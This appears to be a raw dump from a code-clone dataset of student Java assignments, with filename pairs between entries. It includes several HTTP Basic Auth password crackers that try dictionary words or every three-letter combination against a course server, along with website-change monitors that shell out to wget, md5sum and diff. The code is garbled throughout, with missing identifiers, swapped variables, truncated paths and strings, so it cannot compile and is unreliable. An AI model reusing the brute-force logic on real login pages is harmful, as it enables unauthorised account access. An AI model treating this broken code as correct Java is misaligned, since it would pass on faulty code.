if (pict || pict2 || pict3)
{
executes("".~/Assign2/difference.sh"");
executes("".~/Assign2/mail2.sh"");
}
executes("".~/Assign2/difference.sh"");
executes("".~/Assign2/mail.sh"");
executes(""./reorder.sh"");
executes(""rm index.html"");
executes(""cp index.html.1 index.html"");
executes(""rm index.html.1"");
executes(""sleep 5"");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= "" "";
Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",
""-c"", ""md5sum ""+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
" 232.java
049.java "import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class ReadFile
{
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
Vector in = new Vector();
public void loadFile()throws NoSuchElementException, IOException
{
System.out.println(""in loadFile"");
try{
bf = new BufferedReader(new FileReader(""words""));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println(""File Loaded Succesfully"");
}
}
}
public Vector getVector()
{
return in;
}
public static void main (String args[])
{
Vector v = new Vector();
try
{
System.out.println(""in "");
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(IOException e)
{
System.out.println(e);
}
System.out.println(""size:"" + v.size());
for (int i = 0; i< v.size(); i++)
{
System.out.println(i+1+ "":"" + v.elementAt(i));
}
}
}
" 050.java
113.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the watchddog Props"");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties"");
testProps.load(fis);
}
}
}
" 112.java
090.java "import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;
public class Dictionary
{
public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
int found = 0, count = 0;
String testpasswd;
try {
File inputFile = new File(""words"");
fr = new BufferedReader(new FileReader(inputFile));
} catch (IOException ex) {
ex.printStackTrace();
}
stime = System.currentTimeMillis();
System.out.println(""Cracking password by Dictionary..."");
while (((testpasswd = fr.readLine()) != null) && (found == 0))
{
try {
URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
URLConnection yc = yahoo.openConnection();
String authString = "":"" + testpasswd;
String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
yc.setRequestProperty(""Authorization"", "" "" + auth);
count++;
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null){
System.out.println(inputLine);
etime = System.currentTimeMillis();
System.out.println(""Password found -- "" + testpasswd);
System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec"");
System.out.println(""# of attempt = "" + count);
System.out.println(""End of cracking!"");
found = 1;
}
in.print();
} catch (Exception ex) {}
}
fr.close();
if (found == 0) {
System.out.println(""Sorry, password found."");
System.out.println(""# of attempt = "" + count);
System.out.println(""End of cracking!"");
}
}
}" 089.java
003.java "import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;
public class BruteForce
{
private String result ="""";
public class customAuthenticator extends Authenticator {
public customAuthenticator(String passwd)
{
this.pass = passwd;
}
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication("""",pass.toCharArray());
}
public String pass;
}
public BruteForce() {
java.util.Date d = java.util.Calendar.getInstance().getTime();
System.out.println(d.toString());
char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String record = null;
String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
char pass[] = {'x','x','x'};
int count=1;
String passwd=new String();
HttpURLConnection connection = null;
URL u = null;
try
{
u = new URL(url);
}
catch (MalformedURLException e)
{
}
for(int a=0;a<words.length;a++)
{
for(int b=0;b<words.length;b++)
{
for(int c=0;c<words.length;c++)
{
pass[0]=words[a];
pass[1]=words[b];
pass[2]=words[c];
passwd=passwd.copyValueOf(pass,0,3);
System.out.println(count+ "" ) "" + passwd);
count++;
try
{
connection = (HttpURLConnection) u.openConnection();
Authenticator.setDefault(new customAuthenticator(passwd));
if (connection.getResponseCode()!=401)
{
System.out.print(""The password is : ""+passwd);
System.out.println();
java.util.Date d1 = java.util.Calendar.getInstance().getTime();
System.out.println(d1.toString());
System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n"");
System.exit(0);
}
else
{
}
connection.disconnect();
}
catch (IOException e)
{
System.out.println(e);
}
}
}
}
}
public static void main(String[] args)
{
BruteForce = new BruteForce();
}
}" 004.java
087.java "import java.net.*;
import java.io.*;
import java.*;
public class Dictionary {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
File file = new File(""words"");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {
if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {
System.err.println(""File not found: "" + file);
} catch (IOException e2) {
e2.printStackTrace();
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "243.java 155.java 242.java"
107.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the watchddog Props"");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
testProps.load(fis);
}
}
}
" "108.java 112.java"
212.java "
import java.net.*;
import java.io.*;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), ""8859_1""));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), ""8859_1""));
send(in, out, ""HELO client"");
send(in, out, ""MAIL FROM: <WatchDog@SecureECommerce.>"");
send(in, out, ""RCPT : "" + recipient);
send(in, out, ""DATA"");
send(out, ""Subject: "");
send(out, ""From: Admin <WatchDog@SecureECommerce.>"");
send (out, ""\n"");
send(out, result);
send(out, ""\n.\n"");
send(in, out, ""QUIT"");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + ""\n"");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + ""\n"");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
}" 101.java
257.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class BruteForce
{
public final char [ ] letter = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
BruteForce bForce = new BruteForce(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public BruteForce(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
int i, j, k;
URL = new URL(urlPath);
String let1 = null;
String let2 = null;
String let3 = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
boolean ok = false;
connection = (HttpURLConnection).openConnection();
for(i=0; i<String.valueOf(letter).length(); i++) {
let1 = String.valueOf(letter[i]);
usrNamePwd = usrName +"":""+ let1;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(let1);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +let1);
return true;
}
connection.disconnect();
for(j=0; j<String.valueOf(letter).length(); j++) {
let2 = let1 + letter[j];
usrNamePwd = usrName +"":""+ let2;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +let2);
return true;
}
connection.disconnect();
System.out.println(let2);
for(k=0; k<String.valueOf(letter).length(); k++) {
let3 = let2 + letter[k];
usrNamePwd = usrName +"":""+ let3;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +let3);
return true;
}
connection.disconnect();
System.out.println(let3);
}
}
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "258.java 048.java"
246.java "
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class Dictionary {
public static void main(String[] args) throws IOException {
int begin, end, total;
time = System.currentTimeMillis();
String username = """";
String password = null;
String host = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
String dict = ""words"";
File file = new File(dict);
String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
int lettersLen = letters.length();
int passwordLen=3;
String character = """";
String letter = """";
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = """";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
boolean characterValid=false;
boolean passwordValid=true;
int tryLen=0;
int i=0;
if (!file.exists() || file==null) {
System.out.println (""Idiot, why dont check and make sure the dictonary file exists."");
System.out.println (""I'm trying find "" + dict + "" and I 't find it in the current directory."");
System.exit(0);
}
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
System.out.println(""Dictionary Attack "" + host + "" has commenced."");
int i=1;
int k=1;
{
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
String inLine = reader.readLine();
if ( inLine !=null) {
passwordValid = true;
password = inLine;
tryLen = password.length();
if(tryLen <= passwordLen) {
for (int z=0; z<tryLen; z++) {
character = password.substring(z, (z+1));
characterValid=false;
for (int y=0; y<lettersLen; y++) {
letter = letters.substring(y, (y+1));
if(letter.compareTo(character)==0) {
characterValid=true;
}
}
if (characterValid==true && passwordValid==true) {
} else {
passwordValid = false;
}
}
if (passwordValid==true) {
authenticate = username + "":"" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate);
k++;
}
}
}
i++;
}
httpConnect.connect();
realm = httpConnect.getHeaderField(""WWW-Authenticate"");
if (realm != null) {
realm = realm.substring(realm.indexOf('""') + 1);
realm = realm.substring(0, realm.indexOf('""'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println (""Sucessfully Connected "" + url);
System.out.println(""Login Attempts Required : "" + k);
System.out.println(""Time Taken in Seconds : "" + total);
System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg);
System.out.println (""Username : "" + username);
System.out.println (""Password : "" + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
} else {
System.out.println (""What the?... The server replied with unexpected reponse."" );
System.out.println ("" Unexpected Error Occured While Attempting Connect "" + url);
System.out.println (""Connection Status: "" + responseCode + responseMsg);
System.out.println (""Unfortunately the password could not recovered."");
System.exit( 0 );
}
} while(realm != null);
} catch(MalformedURLException e) {
System.out.println(""Opps, the URL "" + host + "" is not valid."");
System.out.println(""Please check the URL and try again."");
} catch(IOException e) {
System.out.println(""Grrrrrr, I'm sick of trying get me the unattainable."");
System.out.println(""I'm unsure about what the problem is as the error is unknown."");
System.out.println(""Either I 't open the dictionary file, I 't connect "" + hostname + ""."");
System.out.println(""Now away and leave me alone."");
System.exit(0);
}
}
}" 244.java
006.java "
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File(""index.html"");
static File tmpfile = new File(""tmpindex.html"");
static File mdfile = new File(""md5file.txt"");
static File tmpmdfile = new File(""tmpmd5file.txt"");
static PrintWriter mailwriter = null;
public static void main (String[] args)
{
urlStr = ""http://www.cs.rmit.edu./"";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println(""Sending Mail"");
p = Runtime.getRuntime().exec(""./mailscript"");
p.waitFor();
}
else
System.out.println("" mail sent"");
} catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println(""Interrupted Exception"");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println(""Malformed URL"");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec(""/usr//pwd"");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println(""File with name 'index.html' found in directory."");
mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html..."");
p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile);
mailwriter.println();
mailwriter.println(""File with name 'md5file.txt' found in directory."");
mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt..."");
mailwriter.println(""."");
mailwriter.println();
}
mailwriter.println(""Downloading current version of site - "" + urlStr);
p = Runtime.getRuntime().exec(""/usr/local//wget ""+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time."");
}
} catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println(""Index Out Of Bounds Exception"");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println(""Exception"");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile);
p.waitFor();
bf = new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, ""\"""", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println(""Exception"");
e.printStackTrace();
}
mailwriter.println(""Creating file with md5sums of the webpage and images..."");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+""/""+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println(""Interrupted Exception"");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf = new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println(""---The file index.html has changed.---"");
mailwriter.println(""-Diff of old and new -"");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec(""/usr/local//diff index.html tmpindex.html"");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println(""The file index.html hasn't changed."");
mailwriter.println();
}
mailwriter.println();
mailwriter.println(""Changes Images"");
mailwriter.println(""-----------------"");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println(""The image ""+mdImgName+"" has changed."");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println(""The image ""+mdImgName+"" is new this "");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println(""The image ""+tmpImgName+"" is longer the "");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println(""IOException"");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println(""Interrupted Exception"");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec(""/usr/local//wget ""+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println(""Interrupted Exception"");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec(""/usr//rm ""+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println(""IOException"");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println(""Interrupted Exception"");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, ""/"", false);
while(str.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
prsName=str;
}
return (Object)prsName;
}
}
" 005.java
051.java "import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = """";
String pword = ""null"";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + "":"" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println(""in catch"");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty (""Authorization"", "" "" + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
doConnect(i, i+1);
}
else
{
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
System.out.println( +""\tPassword : ""+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
